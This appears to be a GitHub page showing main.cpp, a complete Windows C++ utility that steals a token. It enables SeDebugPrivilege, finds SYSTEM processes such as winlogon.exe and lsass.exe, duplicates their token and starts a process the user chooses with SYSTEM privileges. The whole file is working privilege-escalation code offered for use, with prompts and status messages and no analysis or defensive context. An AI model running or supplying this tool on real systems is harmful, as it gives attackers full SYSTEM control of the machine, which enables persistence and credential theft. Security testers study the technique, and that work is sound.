-
Notifications
You must be signed in to change notification settings - Fork 21
Expand file tree
/
Copy pathmain.cpp
More file actions
193 lines (154 loc) · 4.96 KB
/
main.cpp
File metadata and controls
193 lines (154 loc) · 4.96 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <string>
#include <vector>
#pragma comment(lib, "advapi32.lib")
using namespace std;
// Enable SeDebugPrivilege for the current process
BOOL EnableDebugPrivilege() {
HANDLE hToken = NULL;
TOKEN_PRIVILEGES tp = {};
LUID luid = {};
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return FALSE;
if (!LookupPrivilegeValueW(NULL, SE_DEBUG_NAME, &luid)) {
CloseHandle(hToken);
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BOOL res = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
CloseHandle(hToken);
return res && GetLastError() != ERROR_NOT_ALL_ASSIGNED;
}
// Get token from a process by PID
HANDLE GetProcessToken(DWORD pid) {
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!hProcess)
return NULL;
HANDLE hToken = NULL;
if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken)) {
CloseHandle(hProcess);
return NULL;
}
CloseHandle(hProcess);
return hToken;
}
// Returns true if the token belongs to NT AUTHORITY\SYSTEM
BOOL IsSystemToken(HANDLE hToken) {
DWORD dwSize = 0;
GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize);
if (dwSize == 0)
return FALSE;
PTOKEN_USER pTokenUser = (PTOKEN_USER)malloc(dwSize);
if (!pTokenUser)
return FALSE;
if (!GetTokenInformation(hToken, TokenUser, pTokenUser, dwSize, &dwSize)) {
free(pTokenUser);
return FALSE;
}
// Compare against the well-known SYSTEM SID (S-1-5-18)
PSID pSystemSid = NULL;
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
if (!AllocateAndInitializeSid(&NtAuthority, 1, SECURITY_LOCAL_SYSTEM_RID,
0, 0, 0, 0, 0, 0, 0, &pSystemSid)) {
free(pTokenUser);
return FALSE;
}
BOOL isSystem = EqualSid(pTokenUser->User.Sid, pSystemSid);
FreeSid(pSystemSid);
free(pTokenUser);
return isSystem;
}
// Spawn a process using a duplicated SYSTEM token
BOOL SpawnProcessAsSystem(HANDLE hToken, LPCWSTR lpApp) {
HANDLE hDupToken = NULL;
STARTUPINFOW si = {};
PROCESS_INFORMATION pi = {};
si.cb = sizeof(STARTUPINFOW);
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
SecurityImpersonation, TokenPrimary, &hDupToken)) {
return FALSE;
}
BOOL res = CreateProcessWithTokenW(
hDupToken,
LOGON_WITH_PROFILE,
lpApp,
NULL, 0, NULL, NULL,
&si, &pi
);
if (res) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
CloseHandle(hDupToken);
return res;
}
// Target process names known to run as SYSTEM and be accessible from admin
const vector<wstring> TARGET_PROCESSES = {
L"winlogon.exe",
L"services.exe",
L"svchost.exe",
L"lsass.exe"
};
BOOL IsTargetProcess(LPCWSTR processName) {
for (const auto& target : TARGET_PROCESSES) {
if (_wcsicmp(processName, target.c_str()) == 0)
return TRUE;
}
return FALSE;
}
int wmain() {
if (!EnableDebugPrivilege()) {
wcerr << L"[!] Failed to enable SeDebugPrivilege. Run as admin.\n";
return 1;
}
wcout << L"[+] SeDebugPrivilege enabled.\n";
wstring app;
wcout << L"[>] Enter path of application to run as SYSTEM: ";
wcin >> app;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) {
wcerr << L"[!] CreateToolhelp32Snapshot failed.\n";
return 1;
}
PROCESSENTRY32W pe32 = {};
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (!Process32FirstW(hSnap, &pe32)) {
CloseHandle(hSnap);
return 1;
}
BOOL spawned = FALSE;
do {
if (!IsTargetProcess(pe32.szExeFile))
continue;
DWORD pid = pe32.th32ProcessID;
wcout << L"[*] Trying: " << pe32.szExeFile << L" (PID " << pid << L")\n";
HANDLE hToken = GetProcessToken(pid);
if (!hToken) {
wcout << L" [-] Could not open token.\n";
continue;
}
if (!IsSystemToken(hToken)) {
wcout << L" [-] Not a SYSTEM token, skipping.\n";
CloseHandle(hToken);
continue;
}
wcout << L" [+] SYSTEM token acquired. Spawning process...\n";
spawned = SpawnProcessAsSystem(hToken, app.c_str());
CloseHandle(hToken);
if (spawned) {
wcout << L"[+] Process spawned successfully.\n";
break;
}
else {
wcout << L" [-] CreateProcessWithTokenW failed: " << GetLastError() << L"\n";
}
} while (Process32NextW(hSnap, &pe32));
CloseHandle(hSnap);
if (!spawned)
wcerr << L"[!] Failed to spawn process as SYSTEM.\n";
return spawned ? 0 : 1;
}